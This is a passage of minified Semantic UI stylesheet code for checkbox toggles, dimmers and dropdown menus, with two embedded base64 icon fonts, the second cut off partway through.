input:focus:checked~.box:before,.ui.slider.checkbox input:focus:checked~label:before{background-color:#000!important}.ui.toggle.checkbox{min-height:1.5rem}.ui.toggle.checkbox input{width:3.5rem;height:1.5rem}.ui.toggle.checkbox .box,.ui.toggle.checkbox label{min-height:1.5rem;padding-left:4.5rem;color:rgba(0,0,0,.87)}.ui.toggle.checkbox label{padding-top:.15em}.ui.toggle.checkbox .box:before,.ui.toggle.checkbox label:before{display:block;position:absolute;content:'';z-index:1;-webkit-transform:none;-ms-transform:none;transform:none;border:none;top:0;background:rgba(0,0,0,.05);width:3.5rem;height:1.5rem;border-radius:500rem}.ui.toggle.checkbox .box:after,.ui.toggle.checkbox label:after{background:-webkit-linear-gradient(transparent,rgba(0,0,0,.05)) #FFF;background:linear-gradient(transparent,rgba(0,0,0,.05)) #FFF;position:absolute;content:''!important;opacity:1;z-index:2;border:none;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;width:1.5rem;height:1.5rem;top:0;left:0;border-radius:500rem;-webkit-transition:background .3s ease,left .3s ease;transition:background .3s ease,left .3s ease}.ui.toggle.checkbox input~.box:after,.ui.toggle.checkbox input~label:after{left:-.05rem}.ui.toggle.checkbox .box:hover::before,.ui.toggle.checkbox input:focus~.box:before,.ui.toggle.checkbox input:focus~label:before,.ui.toggle.checkbox label:hover::before{background-color:rgba(0,0,0,.15);border:none}.ui.toggle.checkbox input:checked~.box,.ui.toggle.checkbox input:checked~label{color:rgba(0,0,0,.95)!important}.ui.toggle.checkbox input:checked~.box:before,.ui.toggle.checkbox input:checked~label:before{background-color:#2185D0!important}.ui.toggle.checkbox input:checked~.box:after,.ui.toggle.checkbox input:checked~label:after{left:2.15rem}.ui.toggle.checkbox input:focus:checked~.box,.ui.toggle.checkbox input:focus:checked~label{color:rgba(0,0,0,.95)!important}.ui.toggle.checkbox input:focus:checked~.box:before,.ui.toggle.checkbox input:focus:checked~label:before{background-color:#0d71bb!important}.ui.fitted.checkbox .box,.ui.fitted.checkbox label{padding-left:0!important}.ui.fitted.slider.checkbox,.ui.fitted.toggle.checkbox{width:3.5rem}@font-face{font-family:Checkbox;src:url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMg8SBD8AAAC8AAAAYGNtYXAYVtCJAAABHAAAAFRnYXNwAAAAEAAAAXAAAAAIZ2x5Zn4huwUAAAF4AAABYGhlYWQGPe1ZAAAC2AAAADZoaGVhB30DyAAAAxAAAAAkaG10eBBKAEUAAAM0AAAAHGxvY2EAmgESAAADUAAAABBtYXhwAAkALwAAA2AAAAAgbmFtZSC8IugAAAOAAAABknBvc3QAAwAAAAAFFAAAACAAAwMTAZAABQAAApkCzAAAAI8CmQLMAAAB6wAzAQkAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADoAgPA/8AAQAPAAEAAAAABAAAAAAAAAAAAAAAgAAAAAAADAAAAAwAAABwAAQADAAAAHAADAAEAAAAcAAQAOAAAAAoACAACAAIAAQAg6AL//f//AAAAAAAg6AD//f//AAH/4xgEAAMAAQAAAAAAAAAAAAAAAQAB//8ADwABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAAAAAAAAAAIAADc5AQAAAAABAEUAUQO7AvgAGgAAARQHAQYjIicBJjU0PwE2MzIfAQE2MzIfARYVA7sQ/hQQFhcQ/uMQEE4QFxcQqAF2EBcXEE4QAnMWEP4UEBABHRAXFhBOEBCoAXcQEE4QFwAAAAABAAABbgMlAkkAFAAAARUUBwYjISInJj0BNDc2MyEyFxYVAyUQEBf9SRcQEBAQFwK3FxAQAhJtFxAQEBAXbRcQEBAQFwAAAAABAAAASQMlA24ALAAAARUUBwYrARUUBwYrASInJj0BIyInJj0BNDc2OwE1NDc2OwEyFxYdATMyFxYVAyUQEBfuEBAXbhYQEO4XEBAQEBfuEBAWbhcQEO4XEBACEm0XEBDuFxAQEBAX7hAQF20XEBDuFxAQEBAX7hAQFwAAAQAAAAIAAHRSzT9fDzz1AAsEAAAAAADRsdR3AAAAANGx1HcAAAAAA7sDbgAAAAgAAgAAAAAAAAABAAADwP/AAAAEAAAAAAADuwABAAAAAAAAAAAAAAAAAAAABwQAAAAAAAAAAAAAAAIAAAAEAABFAyUAAAMlAAAAAAAAAAoAFAAeAE4AcgCwAAEAAAAHAC0AAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAIAAAAAQAAAAAAAgAHAGkAAQAAAAAAAwAIADkAAQAAAAAABAAIAH4AAQAAAAAABQALABgAAQAAAAAABgAIAFEAAQAAAAAACgAaAJYAAwABBAkAAQAQAAgAAwABBAkAAgAOAHAAAwABBAkAAwAQAEEAAwABBAkABAAQAIYAAwABBAkABQAWACMAAwABBAkABgAQAFkAAwABBAkACgA0ALBDaGVja2JveABDAGgAZQBjAGsAYgBvAHhWZXJzaW9uIDIuMABWAGUAcgBzAGkAbwBuACAAMgAuADBDaGVja2JveABDAGgAZQBjAGsAYgBvAHhDaGVja2JveABDAGgAZQBjAGsAYgBvAHhSZWd1bGFyAFIAZQBnAHUAbABhAHJDaGVja2JveABDAGgAZQBjAGsAYgBvAHhGb250IGdlbmVyYXRlZCBieSBJY29Nb29uLgBGAG8AbgB0ACAAZwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABJAGMAbwBNAG8AbwBuAC4AAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('truetype')}.ui.checkbox input:checked~.box:after,.ui.checkbox input:checked~label:after{content:'\e800'}.ui.checkbox input:indeterminate~.box:after,.ui.checkbox input:indeterminate~label:after{font-size:12px;content:'\e801'}.dimmable:not(.body){position:relative}.ui.dimmer{display:none;position:absolute;top:0!important;left:0!important;width:100%;height:100%;text-align:center;vertical-align:middle;background-color:rgba(0,0,0,.85);opacity:0;line-height:1;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-transition:background-color .5s linear;transition:background-color .5s linear;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;will-change:opacity;z-index:1000}.ui.dimmer>.content{width:100%;height:100%;display:table;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text}.ui.dimmer>.content>*{display:table-cell;vertical-align:middle;color:#FFF}.ui.segment>.ui.dimmer{border-radius:inherit!important}.animating.dimmable:not(body),.dimmed.dimmable:not(body){overflow:hidden}.dimmed.dimmable>.ui.animating.dimmer,.dimmed.dimmable>.ui.visible.dimmer,.ui.active.dimmer{display:block;opacity:1}.ui.disabled.dimmer{width:0!important;height:0!important}.ui.page.dimmer{position:fixed;-webkit-transform-style:'';transform-style:'';-webkit-perspective:2000px;perspective:2000px;-webkit-transform-origin:center center;-ms-transform-origin:center center;transform-origin:center center}body.animating.in.dimmable,body.dimmed.dimmable{overflow:hidden}body.dimmable>.dimmer{position:fixed}.blurring.dimmable>:not(.dimmer){-webkit-filter:blur(0) grayscale(0);filter:blur(0) grayscale(0);-webkit-transition:.8s filter ease;transition:.8s filter ease}.blurring.dimmed.dimmable>:not(.dimmer){-webkit-filter:blur(5px) grayscale(.7);filter:blur(5px) grayscale(.7)}.blurring.dimmable>.dimmer{background-color:rgba(0,0,0,.6)}.blurring.dimmable>.inverted.dimmer{background-color:rgba(255,255,255,.6)}.ui.dimmer>.top.aligned.content>*{vertical-align:top}.ui.dimmer>.bottom.aligned.content>*{vertical-align:bottom}.ui.inverted.dimmer{background-color:rgba(255,255,255,.85)}.ui.inverted.dimmer>.content>*{color:#FFF}.ui.simple.dimmer{display:block;overflow:hidden;opacity:1;width:0;height:0%;z-index:-100;background-color:rgba(0,0,0,0)}.dimmed.dimmable>.ui.simple.dimmer{overflow:visible;opacity:1;width:100%;height:100%;background-color:rgba(0,0,0,.85);z-index:1}.ui.simple.inverted.dimmer{background-color:rgba(255,255,255,0)}.dimmed.dimmable>.ui.simple.inverted.dimmer{background-color:rgba(255,255,255,.85)}.ui.dropdown{cursor:pointer;position:relative;display:inline-block;outline:0;text-align:left;-webkit-transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease;-webkit-tap-highlight-color:transparent}.ui.dropdown .menu{cursor:auto;position:absolute;display:none;outline:0;top:100%;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;margin:0;padding:0;background:#FFF;font-size:1em;text-shadow:none;text-align:left;box-shadow:0 2px 3px 0 rgba(34,36,38,.15);border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:opacity .1s ease;transition:opacity .1s ease;z-index:11;will-change:transform,opacity}.ui.dropdown .menu>*{white-space:nowrap}.ui.dropdown>input:not(.search):first-child,.ui.dropdown>select{display:none!important}.ui.dropdown>.dropdown.icon{position:relative;font-size:.85714286em;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon{width:auto;float:right;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon+.text{margin-right:1em}.ui.dropdown>.text{display:inline-block;-webkit-transition:none;transition:none}.ui.dropdown .menu>.item{position:relative;cursor:pointer;display:block;border:none;height:auto;text-align:left;border-top:none;line-height:1em;color:rgba(0,0,0,.87);padding:.78571429rem 1.14285714rem!important;font-size:1rem;text-transform:none;font-weight:400;box-shadow:none;-webkit-touch-callout:none}.ui.dropdown .menu>.item:first-child{border-top-width:0}.ui.dropdown .menu .item>[class*="right floated"],.ui.dropdown>.text>[class*="right floated"]{float:right!important;margin-right:0!important;margin-left:1em!important}.ui.dropdown .menu .item>[class*="left floated"],.ui.dropdown>.text>[class*="left floated"]{float:left!important;margin-left:0!important;margin-right:1em!important}.ui.dropdown .menu .item>.flag.floated,.ui.dropdown .menu .item>.icon.floated,.ui.dropdown .menu .item>.image.floated,.ui.dropdown .menu .item>img.floated{margin-top:0}.ui.dropdown .menu>.header{margin:1rem 0 .75rem;padding:0 1.14285714rem;color:rgba(0,0,0,.85);font-size:.78571429em;font-weight:700;text-transform:uppercase}.ui.dropdown .menu>.divider{border-top:1px solid rgba(34,36,38,.1);height:0;margin:.5em 0}.ui.dropdown .menu>.input{width:auto;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin:1.14285714rem .78571429rem;min-width:10rem}.ui.dropdown .menu>.header+.input{margin-top:0}.ui.dropdown .menu>.input:not(.transparent) input{padding:.5em 1em}.ui.dropdown .menu>.input:not(.transparent) .button,.ui.dropdown .menu>.input:not(.transparent) .icon,.ui.dropdown .menu>.input:not(.transparent) .label{padding-top:.5em;padding-bottom:.5em}.ui.dropdown .menu>.item>.description,.ui.dropdown>.text>.description{float:right;margin:0 0 0 1em;color:rgba(0,0,0,.4)}.ui.dropdown .menu>.message{padding:.78571429rem 1.14285714rem;font-weight:400}.ui.dropdown .menu>.message:not(.ui){color:rgba(0,0,0,.4)}.ui.dropdown .menu .menu{top:0!important;left:100%!important;right:auto!important;margin:0 0 0 -.5em!important;border-radius:.28571429rem!important;z-index:21!important}.ui.dropdown .menu .menu:after{display:none}.ui.dropdown .menu>.item>.flag,.ui.dropdown .menu>.item>.icon,.ui.dropdown .menu>.item>.image,.ui.dropdown .menu>.item>.label,.ui.dropdown .menu>.item>img,.ui.dropdown>.text>.flag,.ui.dropdown>.text>.icon,.ui.dropdown>.text>.image,.ui.dropdown>.text>.label,.ui.dropdown>.text>img{margin-top:0;margin-left:0;float:none;margin-right:.78571429rem}.ui.dropdown .menu>.item>.image,.ui.dropdown .menu>.item>img,.ui.dropdown>.text>.image,.ui.dropdown>.text>img{display:inline-block;vertical-align:middle;width:auto;max-height:2em}.ui.dropdown .ui.menu>.item:before,.ui.menu .ui.dropdown .menu>.item:before{display:none}.ui.menu .ui.dropdown .menu .active.item{border-left:none}.ui.buttons>.ui.dropdown:last-child .menu,.ui.menu .right.dropdown.item .menu,.ui.menu .right.menu .dropdown:last-child .menu{left:auto;right:0}.ui.label.dropdown .menu{min-width:100%}.ui.dropdown.icon.button>.dropdown.icon{margin:0}.ui.button.dropdown .menu{min-width:100%}.ui.selection.dropdown{cursor:pointer;word-wrap:break-word;line-height:1em;white-space:normal;outline:0;-webkit-transform:rotateZ(0);-ms-transform:rotate(0);transform:rotateZ(0);min-width:14em;min-height:2.7142em;background:#FFF;display:inline-block;padding:.78571429em 2.1em .78571429em 1em;color:rgba(0,0,0,.87);box-shadow:none;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease}.ui.selection.dropdown.active,.ui.selection.dropdown.visible{z-index:10}select.ui.dropdown{height:38px;padding:.5em;border:1px solid rgba(34,36,38,.15);visibility:visible}.ui.selection.dropdown>.delete.icon,.ui.selection.dropdown>.dropdown.icon,.ui.selection.dropdown>.search.icon{cursor:pointer;position:absolute;width:auto;height:auto;line-height:1.2142em;top:.78571429em;right:1em;z-index:3;margin:-.78571429em;padding:.78571429em;opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.compact.selection.dropdown{min-width:0}.ui.selection.dropdown .menu{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;border-top-width:0!important;outline:0;margin:0 -1px;min-width:calc(100% + 2px);width:calc(100% + 2px);border-radius:0 0 .28571429rem .28571429rem;box-shadow:0 2px 3px 0 rgba(34,36,38,.15);-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.selection.dropdown .menu:after,.ui.selection.dropdown .menu:before{display:none}.ui.selection.dropdown .menu>.message{padding:.78571429rem 1.14285714rem}@media only screen and (max-width:767px){.ui.selection.dropdown .menu{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.selection.dropdown .menu{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.selection.dropdown .menu{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.selection.dropdown .menu{max-height:21.37142857rem}}.ui.selection.dropdown .menu>.item{border-top:1px solid #FAFAFA;padding:.78571429rem 1.14285714rem!important;white-space:normal;word-wrap:normal}.ui.selection.dropdown .menu>.hidden.addition.item{display:none}.ui.selection.dropdown:hover{border-color:rgba(34,36,38,.35);box-shadow:none}.ui.selection.active.dropdown,.ui.selection.active.dropdown .menu{border-color:#96C8DA;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.dropdown:focus{border-color:#96C8DA;box-shadow:none}.ui.selection.dropdown:focus .menu{border-color:#96C8DA;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.visible.dropdown>.text:not(.default){font-weight:400;color:rgba(0,0,0,.8)}.ui.selection.active.dropdown:hover,.ui.selection.active.dropdown:hover .menu{border-color:#96C8DA;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.active.selection.dropdown>.dropdown.icon,.ui.visible.selection.dropdown>.dropdown.icon{opacity:1;z-index:3}.ui.active.selection.dropdown{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.active.empty.selection.dropdown{border-radius:.28571429rem!important;box-shadow:none!important}.ui.active.empty.selection.dropdown .menu{border:none!important;box-shadow:none!important}.ui.search.dropdown{min-width:''}.ui.search.dropdown>input.search{background:none!important;border:none!important;box-shadow:none!important;cursor:text;top:0;left:1px;width:100%;outline:0;-webkit-tap-highlight-color:rgba(255,255,255,0);padding:inherit;position:absolute;z-index:2}.ui.search.dropdown>.text{cursor:text;position:relative;left:1px;z-index:3}.ui.search.selection.dropdown>input.search{line-height:1.2142em;padding:.67861429em 2.1em .67861429em 1em}.ui.search.selection.dropdown>span.sizer{line-height:1.2142em;padding:.67861429em 2.1em .67861429em 1em;display:none;white-space:pre}.ui.search.dropdown.active>input.search,.ui.search.dropdown.visible>input.search{cursor:auto}.ui.search.dropdown.active>.text,.ui.search.dropdown.visible>.text{pointer-events:none}.ui.active.search.dropdown input.search:focus+.text .flag,.ui.active.search.dropdown input.search:focus+.text .icon{opacity:.45}.ui.active.search.dropdown input.search:focus+.text{color:rgba(115,115,115,.87)!important}.ui.search.dropdown .menu{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch}@media only screen and (max-width:767px){.ui.search.dropdown .menu{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.search.dropdown .menu{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.search.dropdown .menu{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.search.dropdown .menu{max-height:21.37142857rem}}.ui.multiple.dropdown{padding:.22620476em 2.1em .22620476em .35714286em}.ui.multiple.dropdown .menu{cursor:auto}.ui.multiple.search.dropdown,.ui.multiple.search.dropdown>input.search{cursor:text}.ui.multiple.dropdown>.label{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:inline-block;vertical-align:top;white-space:normal;font-size:1em;padding:.35714286em .78571429em;margin:.14285714rem .28571429rem .14285714rem 0;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset}.ui.multiple.dropdown .dropdown.icon{margin:'';padding:''}.ui.multiple.dropdown>.text{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.dropdown>.label~input.search{margin-left:.14285714em!important}.ui.multiple.dropdown>.label~.text{display:none}.ui.multiple.search.dropdown>.text{display:inline-block;position:absolute;top:0;left:0;padding:inherit;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.search.dropdown>.label~.text{display:none}.ui.multiple.search.dropdown>input.search{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;width:2.2em;line-height:1.21428571em}.ui.inline.dropdown{cursor:pointer;display:inline-block;color:inherit}.ui.inline.dropdown .dropdown.icon{margin:0 .5em 0 .21428571em;vertical-align:baseline}.ui.inline.dropdown>.text{font-weight:700}.ui.inline.dropdown .menu{cursor:auto;margin-top:.21428571em;border-radius:.28571429rem}.ui.dropdown .menu .active.item{background:0 0;font-weight:700;color:rgba(0,0,0,.95);box-shadow:none;z-index:12}.ui.dropdown .menu>.item:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);z-index:13}.ui.loading.dropdown>i.icon{height:1em!important;padding:1.14285714em 1.07142857em!important}.ui.loading.dropdown>i.icon:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.dropdown>i.icon:after{position:absolute;content:'';top:50%;left:50%;box-shadow:0 0 0 1px transparent;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:dropdown-spin .6s linear;animation:dropdown-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em}.ui.loading.dropdown.button>i.icon:after,.ui.loading.dropdown.button>i.icon:before{display:none}@-webkit-keyframes dropdown-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes dropdown-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.default.dropdown:not(.button)>.text,.ui.dropdown:not(.button)>.default.text{color:rgba(191,191,191,.87)}.ui.default.dropdown:not(.button)>input:focus+.text,.ui.dropdown:not(.button)>input:focus+.default.text{color:rgba(115,115,115,.87)}.ui.loading.dropdown>.text{-webkit-transition:none;transition:none}.ui.dropdown .loading.menu{display:block;visibility:hidden;z-index:-1}.ui.dropdown .menu .selected.item,.ui.dropdown.selected{background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.dropdown>.filtered.text{visibility:hidden}.ui.dropdown .filtered.item{display:none!important}.ui.dropdown.error,.ui.dropdown.error>.default.text,.ui.dropdown.error>.text{color:#9F3A38}.ui.selection.dropdown.error{background:#FFF6F6;border-color:#E0B4B4}.ui.dropdown.error>.menu,.ui.dropdown.error>.menu .menu,.ui.selection.dropdown.error:hover{border-color:#E0B4B4}.ui.dropdown.error>.menu>.item{color:#9F3A38}.ui.multiple.selection.error.dropdown>.label{border-color:#E0B4B4}.ui.dropdown.error>.menu>.item:hover{background-color:#FFF2F2}.ui.dropdown.error>.menu .active.item{background-color:#FDCFCF}.ui.disabled.dropdown,.ui.dropdown .menu>.disabled.item{cursor:default;pointer-events:none;opacity:.45}.ui.dropdown .menu{left:0}.ui.dropdown .menu .right.menu,.ui.dropdown .right.menu>.menu{left:100%!important;right:auto!important;border-radius:.28571429rem!important}.ui.dropdown .menu .left.menu,.ui.dropdown>.left.menu .menu{left:auto!important;right:100%!important;border-radius:.28571429rem!important}.ui.dropdown .item .left.dropdown.icon,.ui.dropdown .left.menu .item .dropdown.icon{width:auto;float:left;margin:0 .78571429rem 0 0}.ui.dropdown .item .left.dropdown.icon+.text,.ui.dropdown .left.menu .item .dropdown.icon+.text{margin-left:1em}.ui.upward.dropdown>.menu{top:auto;bottom:100%;box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:.28571429rem .28571429rem 0 0}.ui.dropdown .upward.menu{top:auto!important;bottom:0!important}.ui.simple.upward.active.dropdown,.ui.simple.upward.dropdown:hover{border-radius:.28571429rem .28571429rem 0 0!important}.ui.upward.dropdown.button:not(.pointing):not(.floating).active{border-radius:.28571429rem .28571429rem 0 0}.ui.upward.selection.dropdown .menu{border-top-width:1px!important;border-bottom-width:0!important;box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.upward.selection.dropdown:hover{box-shadow:0 0 2px 0 rgba(0,0,0,.05)}.ui.active.upward.selection.dropdown{border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.selection.dropdown.visible{box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.active.selection.dropdown:hover{box-shadow:0 0 3px 0 rgba(0,0,0,.05)}.ui.upward.active.selection.dropdown:hover .menu{box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{overflow-x:hidden;overflow-y:auto}.ui.scrolling.dropdown .menu{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;min-width:100%!important;width:auto!important}.ui.dropdown .scrolling.menu{position:static;overflow-y:auto;border:none;box-shadow:none!important;border-radius:0!important;margin:0!important;min-width:100%!important;width:auto!important;border-top:1px solid rgba(34,36,38,.15)}.ui.dropdown .scrolling.menu>.item.item.item,.ui.scrolling.dropdown .menu .item.item.item{border-top:none;padding-right:calc(1.14285714rem + 17px)!important}.ui.dropdown .scrolling.menu .item:first-child,.ui.scrolling.dropdown .menu .item:first-child{border-top:none}.ui.dropdown>.animating.menu .scrolling.menu,.ui.dropdown>.visible.menu .scrolling.menu{display:block}@media all and (-ms-high-contrast:none){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{min-width:calc(100% - 17px)}}@media only screen and (max-width:767px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:10.28571429rem}}.ui.simple.dropdown .menu:after,.ui.simple.dropdown .menu:before{display:none}.ui.simple.dropdown .menu{position:absolute;display:block;overflow:hidden;top:-9999px!important;opacity:0;width:0;height:0;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.simple.active.dropdown,.ui.simple.dropdown:hover{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.simple.active.dropdown>.menu,.ui.simple.dropdown:hover>.menu{overflow:visible;width:auto;height:auto;top:100%!important;opacity:1}.ui.simple.dropdown:hover>.menu>.item:hover>.menu,.ui.simple.dropdown>.menu>.item:active>.menu{overflow:visible;width:auto;height:auto;top:0!important;left:100%!important;opacity:1}.ui.simple.disabled.dropdown:hover .menu{display:none;height:0;width:0;overflow:hidden}.ui.simple.visible.dropdown>.menu{display:block}.ui.fluid.dropdown{display:block;width:100%;min-width:0}.ui.fluid.dropdown>.dropdown.icon{float:right}.ui.floating.dropdown .menu{left:0;right:auto;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)!important;border-radius:.28571429rem!important}.ui.floating.dropdown>.menu{margin-top:.5em!important;border-radius:.28571429rem!important}.ui.pointing.dropdown>.menu{top:100%;margin-top:.78571429rem;border-radius:.28571429rem}.ui.pointing.dropdown>.menu:after{display:block;position:absolute;pointer-events:none;content:'';visibility:visible;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);width:.5em;height:.5em;box-shadow:-1px -1px 0 1px rgba(34,36,38,.15);background:#FFF;z-index:2;top:-.25em;left:50%;margin:0 0 0 -.25em}.ui.top.left.pointing.dropdown>.menu{top:100%;bottom:auto;left:0;right:auto;margin:1em 0 0}.ui.top.left.pointing.dropdown>.menu:after{top:-.25em;left:1em;right:auto;margin:0;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg)}.ui.top.right.pointing.dropdown>.menu{top:100%;bottom:auto;right:0;left:auto;margin:1em 0 0}.ui.top.right.pointing.dropdown>.menu:after{top:-.25em;left:auto;right:1em;margin:0;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg)}.ui.left.pointing.dropdown>.menu{top:0;left:100%;right:auto;margin:0 0 0 1em}.ui.left.pointing.dropdown>.menu:after{top:1em;left:-.25em;margin:0;-webkit-transform:rotate(-45deg);-ms-transform:rotate(-45deg);transform:rotate(-45deg)}.ui.right.pointing.dropdown>.menu{top:0;left:auto;right:100%;margin:0 1em 0 0}.ui.right.pointing.dropdown>.menu:after{top:1em;left:auto;right:-.25em;margin:0;-webkit-transform:rotate(135deg);-ms-transform:rotate(135deg);transform:rotate(135deg)}.ui.bottom.pointing.dropdown>.menu{top:auto;bottom:100%;left:0;right:auto;margin:0 0 1em}.ui.bottom.pointing.dropdown>.menu:after{top:auto;bottom:-.25em;right:auto;margin:0;-webkit-transform:rotate(-135deg);-ms-transform:rotate(-135deg);transform:rotate(-135deg)}.ui.bottom.pointing.dropdown>.menu .menu{top:auto!important;bottom:0!important}.ui.bottom.left.pointing.dropdown>.menu{left:0;right:auto}.ui.bottom.left.pointing.dropdown>.menu:after{left:1em;right:auto}.ui.bottom.right.pointing.dropdown>.menu{right:0;left:auto}.ui.bottom.right.pointing.dropdown>.menu:after{left:auto;right:1em}.ui.upward.pointing.dropdown>.menu,.ui.upward.top.pointing.dropdown>.menu{top:auto;bottom:100%;margin:0 0 .78571429rem;border-radius:.28571429rem}.ui.upward.pointing.dropdown>.menu:after,.ui.upward.top.pointing.dropdown>.menu:after{top:100%;bottom:auto;box-shadow:1px 1px 0 1px rgba(34,36,38,.15);margin:-.25em 0 0}@font-face{font-family:Dropdown;src:url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfuIIAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zjo82LgAAAFwAAABVGhlYWQAQ88bAAACxAAAADZoaGVhAwcB6QAAAvwAAAAkaG10eAS4ABIAAAMgAAAAIGxvY2EBNgDeAAADQAAAABJtYXhwAAoAFgAAA1QAAAAgbmFtZVcZpu4AAAN0AAABRXBvc3QAAwAAAAAEvAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDX//3//wAB/+MPLQADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAIABJQElABMAABM0NzY3BTYXFhUUDwEGJwYvASY1AAUGBwEACAUGBoAFCAcGgAUBEgcGBQEBAQcECQYHfwYBAQZ/BwYAAQAAAG4BJQESABMAADc0PwE2MzIfARYVFAcGIyEiJyY1AAWABgcIBYAGBgUI/wAHBgWABwaABQWABgcHBgUFBgcAAAABABIASQC3AW4AEwAANzQ/ATYXNhcWHQEUBwYnBi8BJjUSBoAFCAcFBgYFBwgFgAbbBwZ/BwEBBwQJ/wgEBwEBB38GBgAAAAABAAAASQClAW4AEwAANxE0NzYzMh8BFhUUDwEGIyInJjUABQYHCAWABgaABQgHBgVbAQAIBQYGgAUIBwWABgYFBwAAAAEAAAABAADZuaKOXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAAAAACgAUAB4AQgBkAIgAqgAAAAEAAAAIABQAAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAOAAAAAQAAAAAAAgAOAEcAAQAAAAAAAwAOACQAAQAAAAAABAAOAFUAAQAAAAAABQAWAA4AAQAAAAAABgAHADIAAQAAAAAACgA0AGMAAwABBAkAAQAOAAAAAwABBAkAAgAOAEcAAwABBAkAAwAOACQAAwABBAkABAAOAFUAAwABBAkABQAWAA4AAwABBAkABgAOADkAAwABBAkACgA0AGMAaQBjAG8AbQBvAG8AbgBWA